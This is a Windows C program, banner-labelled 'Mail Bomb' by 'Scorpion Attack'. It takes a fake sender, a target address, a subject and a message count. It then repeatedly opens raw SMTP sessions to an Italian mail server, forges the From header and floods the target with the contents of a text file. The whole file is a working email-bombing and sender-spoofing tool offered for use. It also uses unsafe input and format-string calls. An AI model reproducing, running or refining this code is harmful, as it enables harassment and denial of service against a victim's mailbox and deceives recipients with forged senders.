#include  <stdio.h>
#include <stdlib.h>
#include <winsock.h>
#include <windows.h>

typedef char stringa[500];

SOCKET conn;
FILE *fmail;
int lun, err=0;
int nmi;
char buf[1500],end[7];
char input;
char Mittente[50]="";
char Destinatario[50]="";
char Oggetto[50]="";
SOCKADDR_IN conn_addr;
WSADATA data;
WORD versione;
LPHOSTENT host;



void RispostaServer();
void inviomail();

int main(int argc,char **argv)
{
    printf("\n     @#####################################################@ ");
    printf("\n     @####################@ Mail Bomb @####################@ ");
    printf("\n     @##############################!By Scorpion Attack!###@ ");
    printf("\n     @#####################################################@ \n\n\n");

    printf("\nFake Name/E-mail Mittente: ");
    gets(Mittente);

    printf("\nE-mail Destinatario: ");
    gets(Destinatario);

    printf("\nOggetto: ");
    gets(Oggetto);

    printf("\nNumero messaggi da inviare: ");
    scanf("%i",&nmi);


    printf ("Invio E-mail in corso...\n");
    int c;
    for(c=0;c<=nmi;c++){ // inzio ciclo
                        inviomail();
                        Sleep(200);
                        }// Fine ciclo
    WSACleanup();
    system("cls");
    printf("\n     @#####################################################@ ");
    printf("\n     @####################@ Mail Bomb @####################@ ");
    printf("\n     @##############################!By Scorpion Attack!###@ ");
    printf("\n     @#####################################################@ \n\n\n");
    printf("\nE-Mail Bombardata");
    Sleep(2500);
    return 0;
}

void inviomail(){
     fmail=fopen("mail.txt","r");
     if (fmail==NULL){
         printf("Errore file \"mail.txt\"");
        }

     versione=MAKEWORD(2,0);
     WSAStartup(versione,&data);

     conn=socket(PF_INET,SOCK_STREAM,0);
     conn_addr.sin_family=PF_INET;
     conn_addr.sin_port=htons(25);

     host=gethostbyname ("mail.tin.it");
     if (host==NULL){
        err=WSAGetLastError();
        printf ("Errore con l'Host\t%d",err);
                     }

     conn_addr.sin_addr = *((LPIN_ADDR)*host->h_addr_list);
     lun=sizeof(struct sockaddr);

     err=connect(conn,(struct sockaddr*)&conn_addr,lun);
     if (err!=0){
        err=WSAGetLastError();
        printf("Errore della Socket\t%d",err);
        }

    RispostaServer();

    sprintf(buf, "helo inviamail\nmail from:<[email protected]>\nrcpt to:<%s>\ndata\n",Destinatario);
    send(conn, buf, strlen(buf), 0);

    printf(buf);

    RispostaServer();

    sprintf(buf, "From: %s\n",Mittente);
    send(conn, buf, strlen(buf), 0);

    sprintf(buf, "To: %s\n",Destinatario);
    send(conn, buf, strlen(buf), 0);

    sprintf(buf, "Subject: %s\n",Oggetto);
    send(conn, buf, strlen(buf), 0);


    while (feof(fmail)==0){
        fscanf (fmail,"%c",&input);
        send (conn,&input,1,0);
                   }

    sprintf(buf, "\n.\n");
    printf(buf);
    send(conn, buf, strlen(buf), 0);

    fclose(fmail);


    sprintf(end,"quit\n");
    send(conn,end,strlen(end),0);

    RispostaServer();


    closesocket(conn);

    }


void RispostaServer(){

    char mess[1000];
    int n=0;
    n=recv(conn,mess,200,0);
    mess[n]=0;
    printf(mess,"%s");
}